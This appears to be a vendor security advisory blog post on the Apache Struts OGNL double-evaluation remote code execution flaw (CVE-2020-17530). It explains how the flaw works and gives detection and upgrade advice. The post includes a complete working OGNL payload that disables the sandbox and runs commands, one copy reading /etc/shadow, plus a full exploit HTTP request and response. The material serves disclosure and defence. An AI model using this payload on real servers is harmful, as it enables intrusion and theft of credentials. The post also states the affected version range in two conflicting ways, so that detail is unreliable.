A vulnerability (CVE-2020-17530) discovered last year in the Object Graph Navigation Language (OGNL) evaluation function of Apache Struts versions 2.0.0 β 2.5.25 can be exploited by attackers to perform remote code execution. This RCE vulnerability doesnβt come packaged with Apache struts but is dependent on how the web application is configured, so a simple Apache version check cannot identify vulnerable systems.
Qualys Web Application Scanning has added a new QID to detect this vulnerability that sends a request to the target server to determine if it is exploitable. Once detected, the vulnerability can be remediated by upgrading to Apache Struts 2.5.26 or greater, which checks if expression evaluation won't lead to the double evaluation to prevent exploitation. Qualys also advises to avoid using forced OGNL evaluation on untrusted user input.
Apache Struts 2 is a well-known open-source web application framework for developing Java EE web applications that is widely targeted by hackers.
According to CVE-2020-17530, Struts versions 2.0.0 - 2.2.25 are vulnerable to this exploit.
This vulnerability occurs when Apache Struts framework is forced to perform double evaluation of attributes assigned to some tagβs attributes such as id
if a developer has configured the application to perform forced OGNL evaluation using %{..}
syntax.
Double evaluation is when an expression string gets evaluated as code, and then, if the result is another string, it gets evaluated as code again, the %{..}
syntax indicates the content inside it should be treated as an OGNL expression.
<s: hidden name id="%{name}"/>
When a user passes a value name=%{2*2}
the input is treated as OGNL script and is evaluated again generating output id="4β³, resulting in RCE.
Hence the user input value ends up getting evaluated twice when the tagβs attributes are rendered.
Before going forward with the exploitation, letβs break the exploit to understand its core concept.
First letβs see what is OGNL? Object-Graph Navigation Language (OGNL) is an open-source Expression Language for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes.
Being able to create properties and change the code execution, itβs prone to critical security flaws.
While S2-061 exploit is basically a bypass of S2-059 sandbox environment, The sandbox restrictions imposed by OGNL enforces the validation of accessing packages, classes, and their normally private or protected methods/fields.
These private class and methods can be accessed and modified by creating a BeanMap instance.
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/shadow")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Apache Struts 2 contains internal security manager which blocks access to particular classes and Java packages - itβs an OGNL-wide mechanism which means it affects any aspect of the framework.
Below are the three options that can be used to configure excluded packages and classes
Analyzing the first part of the exploit code we understand a BeanMap instance is created and its setBean
and put
functions is used to set security mechanism options excludedClasses
and excludedPackageNames
to empty, these options contain the set of excluded classes and package names, thus nullifying the sandbox restrictions as every class and package access restrictions are now disabled.
Now that the OGNL restrictions are completely disabled, In the later part of the code we can see code execution is achieved by using disallowed class Execute
from freemarker.template.utility
package, this Execute
class allows FreeMarker
the ability to execute external commands using exec()
method.
Attackers can execute system commands by sending the specially crafted HTTP request containing the OGNL payload to the target server like below:
Request:
POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 775
id=%25{(%23instancemanager%3d%23application["org.apache.tomcat.InstanceManager"]).(%23stack%3d%23attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(%23bean%3d%23instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get("context")).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get("memberAccess")).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance("java.util.HashSet")).(%23bean.put("excludedClasses",%23emptyset)).(%23bean.put("excludedPackageNames",%23emptyset)).(%23arglist%3d%23instancemanager.newInstance("java.util.ArrayList")).(%23arglist.add("id")).(%23execute%3d%23instancemanager.newInstance("freemarker.template.utility.Execute")).(%23execute.exec(%23arglist))}
Response:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 24 Aug 2021 13:02:26 GMT
Content-Language: en
Content-Type: text/html;charset=utf-8
Set-Cookie: JSESSIONID=node011cf0u95rdhdp1xsd64hecky246.node0; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 974
Server: Jetty(9.4.31.v20200723)
<html>
<head>
<title>S2-059 demo</title>
</head>
<body>
<a href="/index.action;jsessionid=node011cf0u95rdhdp1xsd64hecky246.node0">
your input id: %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
has ben evaluated again in id attribute
</a>
</body>
</html>
Customers can detect this vulnerability with Qualys Web Application Scanning using QID 150354. Since this vulnerability is application configuration dependent, the QID sends a POST/GET request to the target server with OGNL RCE payload to confirm if the target is exploitable.
Once the vulnerability is successfully detected by Qualys WAS, users shall see similar kind of results in the vulnerability scan report:
Although this RCE vulnerability was discovered late last year, itβs been seen in the wild and multiple exploit scripts are still being released.
Hence, we highly recommend upgrading to Apache Struts 2.5.26 or greater.
Apache Struts announcement was released on December 08, 2020: <https://struts.apache.org/announce-2020#a20201208>
Apache Security Bulletin:
CVE details:
Credits for the vulnerability discovery goes to:
References: